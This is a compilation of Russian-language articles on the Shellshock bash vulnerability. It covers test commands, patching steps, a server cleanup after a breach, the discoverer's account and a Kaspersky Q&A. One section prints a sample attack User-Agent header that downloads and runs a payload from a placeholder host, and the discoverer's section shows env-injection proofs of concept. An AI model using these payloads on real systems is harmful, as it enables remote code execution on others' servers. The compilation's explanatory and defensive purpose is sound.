Уязвимость Shellshock в bash
Хочу рассказать в своей статье «Уязвимость Shellshock в bash» об уязвимости в bash оболочке и как это можно исправить. Недавно было обнаружено несколько серьезных уязвимостей популярных ОС.
Достаточно вспомнить о уязвимости в OpenSSl, такой как Heartbleed, которая затронула многие системы, после чего были написаны описания ошибок в сетевом стэке на FreeBSD и возможности эскалации привилегий в определенных версиях ядра Linux.
Относительно недавно выложили описание ошибки в оболочке bash. Она имеет название Shellshock.
Немного об этой уязвимости
Из-за ошибки интерпретатора возможное выполнение произвольного написанного кода, описанного после кода пользовательской функции, а опасность данной ошибки в том, что этот код может быть отправлен множественными способами – в cookie, в заголовках http-запроса, в локальных переменных. Уязвимости найдены во всех версиях bash 1.14 — 4.3, а в группу риска даже попали не только традиционные веб серверы, но и множество других устройств, таких как роутеры, принт-серверы и даже мобильные телефоны (смартфоны).
Выполним проверку на уязвимость в баше:
# env x='() { :;}; echo vulnerable' bash -c “echo this is a test”
После выполненной команды, если Вы увидели текст «vulnerable», то ваш bash уязвим и:
Проверка на уязвимость в bash и исправление
Но если при выполненной команде, Вы увидите только «this is a test», то на вашей ОС уже все обновлено и использует исправленный bash:
Проверка на уязвимость в bash
Чтобы исправить уязвимости в баш на вашем сервере — нужно всего лишь обновить его.
Debian/Ubuntu/Linux Mint
Все обновления можно произвести с использованием менеджера пакетов apt-get. По этому, чтобы исправить все ошибки в bash нужно выполнить:
# apt-get update # apt-get install –only-upgrade bash
Если Вы используете устаревшую версию Debian, Ubuntu или Mint, то наиболее правильный решением — это обновить систему в целом:
# sudo do-release-upgrade
Centos/RedHat/Fedora
Все обновления можно произвести с использованием пакетного менеджера yum:
# yum update bash
FreeBSD
Хотя основная оболочка в FreeBSD -это tcsh, но иногда нужно установить bash, для работы скриптов. В последних версиях FreeBSD обновить bash можно с использования менеджера пакетов pkg:
# pkg upgrade bash
Если Вы используете старую версия фриБСД, где ПО устанавливается из ports, то нужно сначала обновить дерево портов, а потом скомпилировать, установить новую версию bash:
# cd /usr/ports/shell/bash # make BATCH=yes build # make BATCH=yes deinstall && make BATCH=yes reinstall
Тема «Уязвимость Shellshock в bash» полностью раскрыта и исправлены уязвимости в bash.
Источник: http://linux-notes.org/uyazvimast-shellshock-v-bash/
Одминский блог
09 Apr 2015 | Автор: anchous |
Арендую VPS KVM на штатовском хостинге AmeriNOC уже года три- все было прекрасно и замечательно. За все время работы, когда я уже усиленно долбился с бурстом и писал матерные тикеты в саппорт; было всего пара проблем, которые очень и весьма оперативно решались.
И тут как гром среди ясного неба- утром вижу в почте “привет семье, сервак засуспендили за Malicious Activity”. Все бы ничего, но до этого не было никаких писем о том, что идет какая то активность. И главное что саппорт ушел в глобальный мороз, т.к какую то вменяемую инфу по проблеме дали часов через 12, а сервер вернули в положение ONLINE еще через 3-4 часа.
За это время я уже успел выкатать критические сервисы на облаках DO и тупо ждал когда мне включат мою сателлитную сетку. Со слов саппорта с моего сервера шел ssh брутфорс серверов находящихся в сети AmeriNOC.
Откровенно говоря я в это не очень поверил и решил, что это гон, т.к у меня несколько раз подобные темы были с различными хостингами, когда мне суспендили сервера за какую то активность, которая потом не подтверждалась, т.ч после включения все тупо работало дальше.
Но для очистки души, решил все таки посмотреть какие то следы. Ну и искать решил по мотивам текстовых файлов для брута, без которых понятно что пакет не может работать. И как оказалось, не зря.
# find / -name *.txt -ctime -1 /var/wm/libssh2/go2/72.txt /var/wm/libssh2/go2/bios.txt /var/wm/libssh2/go2/216.txt /var/wm/libssh2/go2/users.txt /var/wm/libssh2/go2/vuln.txt /var/wm/libssh2/go2/73.
txt /var/wm/libssh2/go2/testver.txt /var/wm/libssh2/go2/pass.txt /var/wm/libssh2/go2/73vuln.txt /var/cache/yum/i386/6/base/mirrorlist.txt /var/cache/yum/i386/6/extras/mirrorlist.txt /var/cache/yum/i386/6/timedhosts.
txt
/var/cache/yum/i386/6/updates/mirrorlist.txt
как видим установлен libssh2 необходимый для работы скрипта брута
смотрим кто логинился в систему и видим интересную ситуацию – лог коннектов sshd видит заход рута в 2 и 4 утра 8.04 (я на сервере не появлялся недели две), тогда как last не видит никого как раз с последней даты моего захода.
Опять же если напрямую обратиться к бинарному логу из которого берет инфу last, то нет каких либо данных о коннекте:
# utmpdump /var/log/wtmp | grep ‘Wed Apr 08′
Теоретически хакеры могли подтереть за собой хвосты после того как зарутили хост, т.ч пытаемся найти точки входа.
Для начала просканил машину с помощью RootKitHunter:
# sudo rpm -Uvh http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.3-1.el6.rf.i686.rpm
# yum -y install rkhunter
# rkhunter –update
# rkhunter –propupd
# rkhunter -c после сканирования смотрим, что нашел хантер:
# grep Warning /var/log/rkhunter.log
и видим что одни фальс-позитивы на системные папки и скрипты
Затем ставим Сhkrootkit
# yum install chkrootkit
# chkrootkit Он нашел одну дырку
Checking `bindshell’… INFECTED (PORTS: 465)
но у меня на серваке сидит почтарь который как раз слушает SSL на 465 порту, т.ч тоже пусто. Для пущей уверенности проверяем что это:
# netstat -pan | grep ‘:465′
tcp 0 0 0.0.0.0:465 0.0.0.0:* LISTEN 1085/exim tcp 0 0 :::465 :::* LISTEN 1085/exim
# ps -F -p 1085
UID PID PPID C SZ RSS PSR STIME TTY TIME CMD
mail 1085 1 0 2744 1144 0 Apr08 ? 00:00:00 /usr/sbin/exim -bd -q15m -oP /var/run/exim.pid
Переходим к поиску мальвар, троянов и вирей:
# wget http://www.rfxn.com/downloads/maldetect-current.tar.gz
# tar -xzvf maldetect-current.tar.gz
# cd maldetect-1.4.2
# ./install.sh чекаем конфиг сканера /usr/local/maldetect/conf.maldet обновляем базу, версию сканера и запускаем сканирование
# maldet -u
# maldet -d
# maldet –scan-all понятно, что сканирование будет происходит весьма и очень долго, после чего выводится инфа о том как смотреть отчет:
# maldet –report 040915-0221.12877
там то я как раз обнаружил 3 срабатывания на {CAV}PHP.Shell-51: {CAV}PHP.Shell-51 : /home/hacknet/domains/bad-site/public_html/wp-content/themes/itheme2/functions.php {CAV}PHP.
Shell-51 : /home/hacknet/domains/bad-site/public_html/wp-content/themes/itheme2/footer.php {CAV}PHP.Shell-51 : /home/hacknet/domains/bad-site/public_html/wp-content/themes/itheme2/header.
php пытаемся очистить сами сканером
# maldet -n, –clean 040915-0221.12877
если сканер нашел что то подозрительное, то можем отправить разрабам файло:
# maldet -c /file-path/file.php
теперь ставим антивирь, но предварительно надо накатить zlibs без которых почему то clamd не хотел ставиться:
# yum -y install zlib-devel
# yum -y install clamd
# freshclam и скармливаем кламаву данные файлы:
# clamscan /home/hacknet/domains/bad-site/public_html/wp-content/themes/itheme2/functions.php
Можно еще до кучи пройти российским сканером Ай-Болит: качаем и распаковываем
# wget http://www.revisium.com/ai/index.php?q=507941843150108121328235903220224
# mv index.
php?q=507941843150108121328235903220224 ai-bolit.zip
# unzip ai-bolit.zip прописываем пароль для веб-доступа в файле ai-bolit/ai-bolit.
php define(‘PASS’, ‘put_any_strong_password_here’); и включаем эксперт мод
define(‘AI_EXPERT’, 0);
после чего копируем файлы в корень сайта и запускаем чекалку через
http://site.ru/ai-bolit.php?p=PASSWORD
Разобравшись с путями проникновения заразы и уязвимостями, можно уже спокойно вытирать все брутфорсные дела и дополнительные библиотеки:
# rm -Rf /var/wm
VN:F [1.9.21_1169]
Rating: 7.0/10 (6 votes cast)
VN:F [1.9.21_1169]
Источник: http://odminblog.ru/chistim-server-posle-vzloma/
Shellshock Check
Flector 5
Несколько дней назад была обнаружена серьезная уязвимость в командном интерпретаторе Bash. Этой уязвимости дали название Shellshock, присвоив ей наивысший 10-ый уровень опасности.
Благодаря этой уязвимости могут быть взломаны абсолютно любые сервера, так как Bash стоит практически на любой UNIX-системе.
Плагин Shellshock Check не закроет эту уязвимость, но проверит на нее ваш сервер и сообщит вам обнаруженные им результаты.
Скачиваем плагин по ссылке в конце страницы и устанавливаем его:
1 Распаковываем архив.
2 Копируем папку shellshock-check в /wp-content/plugins/.
3 Заходим в админку блога на вкладку “Плагины” и активируем плагин.
Для проверки вашего сервера вы должны нажать на кнопку “Run Test” на странице “НастройкиShellshock“:
Если ваш сервер не подвержен уязвимости, то плагин выдаст такое сообщение:
В противном случае вы получите сообщение:
Сразу должен предупредить всех тех, кто надеется на различные плагины безопасности для WordPress. Данная уязвимость позволит злоумышленникам взломать сразу весь сервер, никакие ваши плагины для движка не помогут.
Единственный способ исправить Shellshock-уязвимость – это обновить Bash. Если вы сами администрируете свой сервер (то есть у вас свой собственный VDS), то обновление Bash займет у вас лишь пару минут. К примеру, на Debian 7 надо выполнить по SSH следующие команды:
| apt-get update apt-get install bash |
apt-get update apt-get install bash
На CentOS (все версии) обновление Bash делается командой:
yum update bash
Для каждой OS обновление Bash делается по своему, и я не могу привести примеры для каждой из существующих OS. Но вы без проблем найдете решение в Гугле, так как эта уязвимость очень серьезная.
Если плагин показал, что ваша система уязвима, то вы должны немедленно заняться исправлением этой уязвимости. Если у вас нет доступа к SSH, то обратитесь к вашему хостеру.
И не откладывайте это дело, так как ваш сервер могут взламывать прямо сейчас.
Shellshock CheckАвтор плагина: ManageWP
Рассматриваемая версия: 1.1.0 от 30.09.2014
Текущая версия: 1.1.0
Источник: http://www.wordpressplugins.ru/critical/shellshock-check.html
Уязвимость bash (Shellshock/Bashdoor)
Некоторое время назад стало известно об уязвимости, которая получила сразу два имени: Shellshock и Bashdoor.
Данная уязвимость затрагивает такую популярную разновидность командной оболочки UNIX как bash. Чаще всего bash используется в качестве предустановленной командной оболочки Linux.
Согласно источникам сети интернет Shellshock теоритически может позволить злоумышленнику получить контроль над системой.
Более подробно Вы можете прочесть на сайте:
http://blog.kaspersky.ru/what_is_the_bash_vulnerability/
Для устранения данной уязвимости мы рекомендуем обновить до последнией версии bash на вашем Linux VPS. Вы можете обновить операционную систему вашего сервера до последней версии, что также обновит bash.
Обновить bash вы можете следующим образом:
Решение проблемы CVE-2014-6271 для RedhatCentos
Необходимо подключиться к серверу по SSH и выполнить следующие команды:
yum update bash
yum update bash-4.1.2-15.el6_5.1
Затем необходимо выполнить перезагрузку системы.
Решение проблемы CVE-2014-6271 для DebianUbuntu
Необходимо подключиться к серверу по SSH и проверить версию пакета bash установленного в системе.
Для этого выполните следующую команду:,/
dpkg -s bash | grep Version
Далее обновите версию bash:
sudo apt-get update && sudo apt-get install bash
Также, проверить обновление версии bash до неуязвимой Вы можете, воспользовавшись командой в консоли:
env X=”() { :;} ; echo Bash is vulnerable” bash -c “echo Bash is OK”
Если вывод покажет “Bash is OK” — значит оболочка обновилась успешно, при выводе “Bash is vulnerable” — bash все еще уязвим.
Для того, что обновить операционную систему:
Обновление CentOS
Необходимо подключиться к серверу по SSH и выполнить следующую команду:
yum update
Затем необходимо выполнить перезагрузку системы.
Обновление DebianUbuntu
Необходимо подключиться к серверу по SSH и выполнить следующие команды:
sudo apt-get update
sudo apt-get upgrade
Затем необходимо выполнить перезагрузку системы.
Версии, содержащие уязвимость:
В дистрибутивах Red Hat:
- bash-3.0-27.el4.2
- bash-3.2-32.el5_9.2
- bash-3.2-24.el5_6.1
- bash-3.2-33.el5_11.1.sjis.1
- bash-3.2-33.el5.1
- bash-4.1.2-15.el6_4.1
- bash-4.1.2-9.el6_2.1
- bash-4.1.2-15.el6_5.1.sjis.1
- bash-4.1.2-15.el6_5.1
- bash-4.2.45-5.el7_0.2
Сами дистрибутивы, в которых есть уязвимый bash:
- Red Hat Enterprise Linux 7
- Red Hat Enterprise Linux 6
- Red Hat Enterprise Linux 5
- Red Hat Enterprise Linux 4
Также уязвимы все версии CentOS начиная с 4-ой.
Если у Вас возникнут вопросы по обновлению — напишите, пожалуйста, письмо в наш технический отдел на [email protected]
Источник: https://VPS.ua/faq/bash-vulnerability.html
Как обнаружена уязвимость Shellshock Bash?
Чтобы успокоить несколько, я не нашел ошибку, наблюдая за эксплойтами, у меня нет оснований полагать, что она была использована до раскрытия (хотя, конечно, я не могу это исключить). Я не нашел его, посмотрев на код Баша.
Я не могу сказать, что в то время я точно помню свой ход мыслей.
Это более или менее вызвало некоторое размышление о некоторых поведении некоторых программ, которые я нахожу опасными (поведение, а не программное обеспечение). Такое поведение, которое заставляет вас думать: это не похоже на хорошую идею .
В этом случае я размышлял об общей конфигурации ssh, которая позволяет передавать переменные среды, неэнактивированные от клиента, при условии, что их имя начинается с LC_ .
Идея состоит в том, чтобы люди могли продолжать использовать свой собственный язык, когда ssh на других машинах.
Хорошая идея, пока вы не начнете рассматривать, насколько сложна обработка локализации, особенно когда UTF-8 вводится в уравнение (и видя, насколько сильно он обрабатывается многими приложениями).
Еще в июле 2014 года я уже сообщал об уязвимости в обработке локализации glibc, которая в сочетании с этой конфигурацией sshd и двух других опасных поведениях оболочки bash разрешала (проверять подлинность) злоумышленников взломать серверы git, если они могли загружать файлы туда и bash использовался в качестве оболочки входа пользователя git unix (CVE-2014-0475).
Я думал, что, вероятно, это была плохая идея использовать bash в качестве оболочки входа пользователей, предлагающих сервисы по ssh, учитывая, что это довольно сложная оболочка (когда все, что вам нужно, это просто синтаксический анализ очень простой командной строки) и унаследовал большую часть misdesigns of ksh. Поскольку я уже определил несколько проблем с использованием bash в этом контексте (для интерпретации ssh ForceCommand s), мне было интересно, есть ли там потенциально больше.
AcceptEnv LC_* позволяет любой переменной, чье имя начинается с LC_ и у меня было смутное воспоминание о том, что bash экспортированных функций ( опасная, хотя и полезная по времени функция) использовала переменные среды, имя которых было чем-то вроде myfunction() и было интересно, не было ли что-то интересно посмотреть там.
Я собирался уволить его на том основании, что самое худшее, что можно было бы сделать, это переопределить команду LC_something которая не может быть проблемой, поскольку они не являются именами существующих команд, но затем я начал задаваться вопросом, как bash импортировал эту среду переменные.
Что делать, если переменные назывались LC_foo;echo test; f() LC_foo;echo test; f() например? Поэтому я решил поближе посмотреть.
A:
$ env -i bash -c 'zzz() { :;}; export -f zzz; env' […] zzz=() { : }
что мое воспоминание было неправильным в том, что переменные не назывались myfunction() а myfunction (и это значение, которое начинается с () ).
И быстрый тест:
$ env 'true;echo test; f=() { :;}' bash -c : test bash: error importing function definition for `true;echo test; f'
подтвердил мое подозрение, что имя переменной не было дезинфицировано, и код был оценен при запуске .
Хуже того, намного хуже, стоимость не была дезинфицирована:
$ env 'foo=() { :;}; echo test' bash -c : test
Это означало, что любая переменная среды может быть вектором.
Именно тогда я понял, в какой степени проблема, подтвердила, что она была использована и через HTTP ( HTTP_xxx / QUERYSTRING … env vars), другие, такие как службы обработки почты, позже DHCP (и, вероятно, длинный список) и сообщили об этом ( внимательно).
Источник: http://fliplinux.com/shellshock-bash.html
Критическая уязвимость Shellshock
Дайджест безопасности 01.10.2014
В середине сентября была опубликована информация о том, что была найдена уязвимость в интерпретаторе bash, которая позволяет выполнять произвольный код на уязвимом сервере.
Для тех кто не знает, bash – это командная оболочка в системах *nix или другими словами – интерпретатор, позволяющий выполнять различные команды, обычно после подключения к машине через SSH или Telnet.
Bash также может выполнять роль парсера CGI-скриптов на веб-сервере, что мы обычно наблюдаем на запущенном Apache. Bash по умолчанию используется в операционных системах Linux, которые чрезвычайно распространены.
Поэтому данная уязвимость представляет большую опасность для большинства серверов во всем мире.
По данным портала pr-cy.ry, уязвимые операционные системы используют более 75% всех проверяемых сайтов и серверов.
В чем заключается опасность
Основная угроза заключается в возможности произвольной установки переменных окружения внутри интерпретатора, в которых объявляются функции. Проблема возникает тогда, когда Bash продолжает обрабатывать команды после объявления функции, в результате чего мы наблюдаем атаку, связанную с внедрением кода.
Например, достаточно зайти на атакуемый сервер и подставить User-Agent, например такой:
UserAgent: () { :;}; /bin/bash -c “wget -O /var/tmp/ec.z YY.YYY.YYY.YY/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*”
Данная команда скачает на сервер файл, поставит на него права на исполнение, запустит его и затем удалит. Что может быть в этом файле? Да что угодно! Это может быть заражение сервера вирусами, превращение его в бота, выкачивание каких-нибудь файлов с сервера, удаленное управление сервером и многое другое.
С учетом того, что замена User-Agent при заходе на сайт не представляет никакой сложности, данная уязвимость может эксплуатироваться кем угодно и может привести к катастрофическим последствиям на любом сервере.
Данная уязвимость получила названия Shellshock и Bashdoor
Как проверить, уязвим ли ваш сервер
Достаточно зайти на него через SSH и выполнить команду
env X=”() { :;} ; echo busted” /bin/sh -c “echo stuff”
Если после выполнения вы увидите слово busted и stuff одновременно – значит ваша система подвержена этой уязвимости. Если после выполнения вы видите только слово stuff – значит все в порядке, можно спать спокойно.
Как защититься от уязвимости Shellshock / Bashdoor
Для исправления уязвимости необходимого обновить bash до последней версии.
Debian 6.X
Отредактируйте /etc/apt/sources.list и добавьте в него следующую строку:
deb http://ftp.us.debian.org/debian squeeze-lts main non-free contrib
После этого необходимо обновить информацию о пакетах:
apt-get update
И обновить сам bash:
apt-get install bash
Debian 7.X
Просто выполняем сперва
apt-get update
затем обновляем bash
apt-get install bash
Centos (все версии)
Обновляем bash командой:
yum update bash
Если Вы не имеете доступ к SSH или не имеете прав на обновление компонентов на сервере (например, используете виртуальный хостинг), то обратитесь в службу поддержки своего хостинга и дайте им ссылку на эту страницу и спросите – устранили ли они эту уязвимость на сервере, где расположен Ваш сайт.
Специалисты лаборатории безопасности Monitorus провели выборочную проверку сайтов, которая показала, что на большинстве серверов, где они расположены, уязвимость Shellshock / Bashdoor еще не устранена, и это значит что данные сайты в большой опасности. Уже сейчас известны случаи, когда злоумышленники сканируют все подряд сайты на наличие данной уязвимости.
Что еще можно предпринять?
Отметим, что Monitorus следит за угрозами безопасности сайтов и уведомляет своих клиентов о найденных уязвимостях и способах их устранения. Бесплатно добавьте свой сайт на контроль и вы всегда будете получать информацию о его доступности и безопасности.
Пока вы смотрите на эту страницу
в мире вирусами заражается
00000 сайтоввсех сайтов подвержены
риску заражения вирусами
Вы уверены что ваш
сайт в безопасности?
Пока вы читаете эту информацию
эти зараженные сайты потеряли
000000 посетителей
О том, что мы будем делать с вашим сайтом – читайте здесь и здесь.
Все функции будут подключены к вашему сайту уже через несколько минут!
Добавляя свой сайт вы подтверждаете, что ознакомились и согласны с Лицензионным договором
Вы так же можете бесплатно подписаться на Дайджест безопасности, заполнив форму ниже. Мы будем уведомлять вас обо всех уязвимостях, которые будут находиться в дальнейшем: о том, как проверить свой сайт/сервер и исправить ту или иную уязвимость.
Подписаться на Дайджест безопасности
Источник: http://monitorus.pro/news/5
Опасные уязвимости Linux
Всем нам известно, что операционная система Linux намного безопаснее Windows благодаря своей архитектуре и особой системе распределения доступа между пользователями. Но программисты тоже люди, как бы нам это ненравилось они тоже ошибаются. И из-за этих ошибок в системе появляются дыры, через которые злоумышленники могут обойти системы защиты.
Эти ошибки называются уязвимости, они могут встречаться в различных программах и даже в самом ядре системы подрывая ее безопасность.
За последние годы популярность Linux начала расти и исследователи безопасности обращают больше внимания на эту систему. Обнаруживаются все новые и новые уязвимости, а благодаря открытому исходному коду получается их очень быстро устранить.
В этой статье мы рассмотрим самые опасные уязвимости Linux которые были обнаружены за последние несколько лет.
Что такое уязвимость и их виды
Перед тем как перейти к самому списку уязвимостей важно понять что это такое и какими они бывают. Как я уже сказал, уязвимость – это ошибка в программе, с помощью которой пользователь может использовать программу так, как это не было запланировано ее разработчиком.
Это может быть отсутствие проверки на правильность полученных данных, проверки источника данных и самое интересное – размера данных. Самые опасные уязвимости – это те, которые позволяют выполнять произвольный код.
В оперативной памяти все данные имеют определенный размер и программа рассчитана на запись в память данных от пользователя определенного размера. Если пользователь передаст больше данных, то она должна выдать ошибку.
Но если программист допустил ошибку, то данные перезапишут код программы и процессор будет пытаться их выполнить, таким образом и возникают уязвимости переполнения буфера.
Также все уязвимости можно поделить на локальные, которые работают только если у хакера есть доступ к локальному компьютеру и удаленные, когда достаточно доступа через интернет. А теперь перейдем к списку уязвимостей.
1. Dirty COW
Первой в нашем списке будет свежая уязвимость, которая была обнаружена этой осенью. Название Dirty COW расшифровывается как Copy on Write. Ошибка возникает в файловой системе во время копирования при записи. Это локальная уязвимость, которая позволяет получить полный доступ к системе любому непривилегированному пользователю.
Если коротко, то для использования уязвимости нужно два файла, один доступен на запись только от имени суперпользователя, второй для нас.
Начинаем очень много раз записывать данные в наш файл и читать из файла суперпользователя, через определенное время настанет момент, когда буферы обеих файлов смешаются и пользователь сможет записать данные в файл, запись которого ему недоступна, таким образом можно выдать себе права root в системе.
Уязвимость была в ядре около 10 лет, но после обнаружения была быстро устранена, хотя остались еще миллионы устройств Andoid в которых ядро не обновлялось и не думает и где эту уязвимость можно эксплуатировать. Уязвимость получила код CVE-2016-5195.
2. Уязвимость Glibc
Уязвимость получила код CVE-2015-7547. Это была одна из наиболее обсуждаемых уязвимостей среди проектов с открытым исходным кодом. В феврале 2016 выяснилось, что библиотека Glibc имеет очень серьезную уязвимость, которая позволяет злоумышленнику выполнить свой код на удаленной системе.
Важно заметить что Glibc – это реализация стандартной библиотеки Си и С++, которая используется в большинстве программ Linux, в том числе сервисов и языков программирования таких как PHP, Python, Perl.
Ошибка была допущена в коде разбора ответа DNS сервера. Таким образом, уязвимость могли использовать хакеры, к DNS которых обращались уязвимые машины, а также выполняющие MITM атаку. Но уязвимость давала полный контроль над системой
Уязвимость была в библиотеке еще с 2008 года, но после обнаружения достаточно быстро были выпущены патчи.
3. Heartbleed
В 2014 году была обнаружена одна из самых серьезных по масштабу и последствиям уязвимость. Она была вызвана ошибкой в модуле heartdead программы OpenSSL, отсюда и название Heartbleed. Уязвимость позволяла злоумышленникам получить прямой доступ к 64 килобайтам оперативной памяти сервера, атаку можно было повторять, пока вся память не будет прочитана.
Несмотря на то, что исправление было выпущено очень быстро, пострадало очень много сайтов и приложений. Фактически уязвимыми были все сайты, использующие HTTPS для защиты трафика. Злоумышленники могли получить пароли пользователей, их личные данные и все что находилось в памяти в момент атаки. Уязвимость получила код CVE-2014-0160.
4. Stagefright
Если уязвимость получила кодовое имя, это однозначно означает, что она заслуживает внимания. Уязвимость Stagerfight не исключение. Правда, это не совсем проблема Linux. Stagefright – это библиотека для обработки мультимедийных форматов в Android.
Она реализована на C++, а значит обходит все защитные механизмы Java. В 2015 году было обнаружено целую группу уязвимостей, которые позволяли выполнить удаленно произвольный код в системе. Вот они CVE-2015-1538, CVE-2015-1539, CVE-2015-3824, CVE-2015-3826, CVE-2015-3827, CVE-2015-3828 и CVE-2015-3829.
Злоумышленнику было достаточно отправить MMS на уязвимый смартфон со специально модифицированным медиафайлом, и он получал полный контроль над устройством с возможностью записывать и читать данные с карты памяти. Уязвимость была исправлена разработчиками Android но до сих пор миллионы устройств остаются уязвимыми.
5. Уязвимость нулевого дня ядра
Это локальная уязвимость, которая позволяет повысить права текущего пользователя до root из-за ошибки в системе работы с криптографическими данными ядра, которые хранятся в памяти. Она была обнаружена в феврале 2016 года и охватывала все ядра начиная от 3.8, а это значит что уязвимость существовала 4 года.
Ошибка могла использоваться хакерами или вредоносным программным обеспечением для повышения своих полномочий в системе, но очень быстро была исправлена.
6. Уязвимость в MySQL
Источник: https://losst.ru/opasnye-uyazvimosti-linux
Как была найдена уязвимость Shellshock Bash?
Чтобы успокоить несколько, я не нашел ошибку, наблюдая подвиги, я никаких оснований полагать, что это было использовано перед тем, как раскрываются (хотя, конечно, я не могу исключить его). Я не нашел его на , глядя на код bash.
Я не могу сказать, что я точно помню свой поход мыслей в то время.
Это более или менее пришел из некоторого размышления о некоторых поведениях некоторыхов программного обеспечения я считаю опасных (поведение, не программного обеспечения). Такое поведение, которое заставляет задуматься: , что не звучит неплохо..
В этом случае, я отражал на общей конфигурации SSH, что позволяет проходящим переменные среды unsanitised от клиент условия, что их имя начинается с LC_.
Идея такова: , что люди могут продолжать использовать свой собственный язык, когда ssh ing в другие машины.
Хорошая идея, пока вы не начнете рассматривать , насколько сложна обработка локализации, особенно когда UTF-8 имеет значение , приведенное в уравнение (и видя, насколько сильно его обрабатывает во многих приложениях).
В июле 2014 года я уже сообщал уязвимость в обработке локализации GLibC, который в сочетании с этим sshd конфигурации и two other dangerous behaviours of the bash shell разрешено (с проверкой подлинности) атакующим взломать GIT серверов при условии, что они были в состоянии загрузить файлы там и bash был , используемый в качестве оболочки входа пользователя git unix (CVE-2014-0475).
Я думал, что это было, вероятно, плохая идея использовать bash в качестве оболочки пользователей, предлагающих услуги через SSH Логин , учитывая, что это довольно сложная оболочка (когда все, что вам нужно это просто синтаксический анализ очень простой командной строки) и унаследовал большинство ошибок в ksh. Поскольку я уже определил несколько проблем с bash, использующими в этом контексте (для интерпретации ssh ForceCommand s), я был , задаваясь вопросом, было ли там потенциально больше.
AcceptEnv LC_* позволяет любому переменный, чье имя начинается с LC_ и я имел смутное воспоминание, что bashэкспортироваться ФУНКЦИИ (а опасного хотя во время полезной функции) было с помощью переменных окружения, имя которых было что-то вроде myfunction() и было интересно, не было ли чего-то интересным посмотреть там.
Я собирался уволить его на том основании, что самое худшее, что один мог бы сделать, чтобы переопределить команду под названием LC_something , который не мог быть проблемой, так как те не существующие имена команд, но затем я начал интересно, как bash импортировал эти переменные окружения.
Что делать, если переменные вызывались, например, LC_foo;echo test; f()? Поэтому я решил поближе посмотреть.
A:
$env -i bash -c 'zzz(){ :;}; export -f zzz; env' […] zzz=(){ : }
показал, что мое воспоминание было неправильно в том, что переменные не назывались myfunction() но myfunction (и это значение , который начинается с ()).
И быстрый тест:
$ env 'true;echo test; f=() { :;}' bash -c : test bash: error importing function definition for 'true;echo test; f'
подтвердил мое подозрение, что имя переменной не продезинфицировать, и код оценивали при запуске.
хуже, намного хуже, значениене продезинфицировать либо:
$ env 'foo=() { :;}; echo test' bash -c : test
Это означает, что любая переменная среда может быть вектором.
Вот когда я понял, что масштабы этой проблемы, подтвердил, что он был годным для использования через HTTP, а также (HTTP_xxx/QUERYSTRING … окр вары), другие из них, как услуги по обработке почты, а затем DHCP (и, возможно, длинный список) и сообщили об этом (тщательно).
Источник: https://unix.stackovernet.com/ru/q/44689
Уязвимость CVE-2014-6271 (“Bash”) – вопросы и ответы
Уязвимость CVE-2014-6271 («Bash») – это легко эксплуатируемая уязвимость, использование которой может привести к очень серьезным последствиям. Эксплуатируя эту уязвимость, атакующая сторона получает возможность выполнять команды системного уровня с такими же привилегиями, как и затронутые сервисы.
В большинстве случаев, встречающихся сейчас в интернете, киберпреступники удаленно атакуют веб-серверы, на которых размещены CGI –скрипты, написанные на языке bash.
В настоящее время уязвимость уже была использована киберпреступниками: уязвимые веб-серверы заражались вредоносным ПО, а также проводились хакерские атаки. Аналитики «Лаборатории Касперского» постоянно обнаруживают новые вредоносные образцы и случаи заражения с использованием данной уязвимости. Дополнительная информация об этом вредоносном ПО будет опубликована в ближайшее время.
Важно понимать, что данная уязвимость не привязана к конкретному сервису, такому как Apache или nginx. Скорее, это уязвимость интерпретатора командной оболочки bash, позволяющая атакующей стороне добавлять команды системного уровня к переменным среды bash.
Как эксплуатируется уязвимость?
Я постараюсь объяснить принцип эксплуатации уязвимости на тех примерах, которые даются в информационных сообщениях и опубликованном концептуальном коде. CGI-скрипт, размещенный на веб-сервере, автоматически читает определенные переменные среды, такие как IP-адрес, версия браузера и информация о локальной системе.
Теперь представьте себе, что есть возможность не только передать эту обычную системную информацию CGI-скрипту, но и поручить скрипту выполнение команд системного уровня.
Это означает, что как только происходит обращение к CGI-скрипту, он считывает переменные вашей среды – без всякой регистрации на веб-сервере.
Если переменные среды содержат строку эксплойта, скрипт также выполнит указанную вами команду.
В чем уникальность этой уязвимости?
Данную уязвимость крайне легко эксплуатировать, что приводит к крайне тяжелым последствиям – не в последнюю очередь из-за количества уязвимых мишеней. Это касается не только веб-серверов, но и любого ПО, использующего интерпретатор bash и считывающего данные, которые вы можете контролировать.
В данный момент аналитики выясняют, затронуты ли в связи с этой уязвимостью другие интерпретаторы – PHP, JSP, Python и Perl. В зависимости от того, как написан код, интерпретатор в некоторых случаях может использовать bash для выполнения ряда функций. В связи с этим эксплуатация уязвимости CVE-2014-6271 может быть осуществлена через другие интерпретаторы.
Эксплуатация уязвимости имеет серьезные последствия в силу того, что CGI-скрипты широко используются на многих устройствах: роутерах, бытовых устройствах и беспроводных точках доступа. Все они также уязвимы, причем закрыть уязвимость на них зачастую достаточно сложно.
Насколько широко эксплуатируется данная уязвимость?
На этот вопрос сложно дать точный ответ. По данным информационных сервисов «Лаборатории Касперского», разработка экплойтов и червей началась сразу после публикации информации об уязвимости. Поиск уязвимых серверов в интернете ведется как белыми, так и черными хакерами.
Пока недостаточно данных, чтобы определить, насколько распространена эта уязвимость. Из своих личных исследований я знаю, что на CGI-скриптах работает множество веб-серверов.
Весьма вероятно, что в будущем будет разрабатываться большое количество эксплойтов, нацеленных на локальные файлы и сетевых демонов.
Кроме того, есть подозрения, что OpenSSH и dhcp-клиенты также уязвимы к данному типу атак.
Как проверить, есть ли уязвимость в моей системе/вебсайте?
Проще всего проверить систему на наличие уязвимости следующим образом: открыть на вашей системе командную оболочку bash и выполнить следующую команду:
| “env x='() { :;}; echo vulnerable' bash -c “echo this is a test” |
Если оболочка возвращает строку «vulnerable», систему нужно обновить.
Для более опытных пользователей имеются другие инструменты, позволяющие проверить на наличие данной уязвимости сервер.
Как решить проблему?
В первую очередь нужно обновить версию среды bash. Патчи для этой уязвимости доступны в различных дистрибутивах Linux. И пусть на сегодняшний день не все патчи показали себя стопроцентно эффективными, начать следует именно с их установки.
Источник: https://securelist.ru/uyazvimost-cve-2014-6271-bash-voprosy-i-otvety/23907/
Обнаружена критическая уязвимость в оболочке Bash
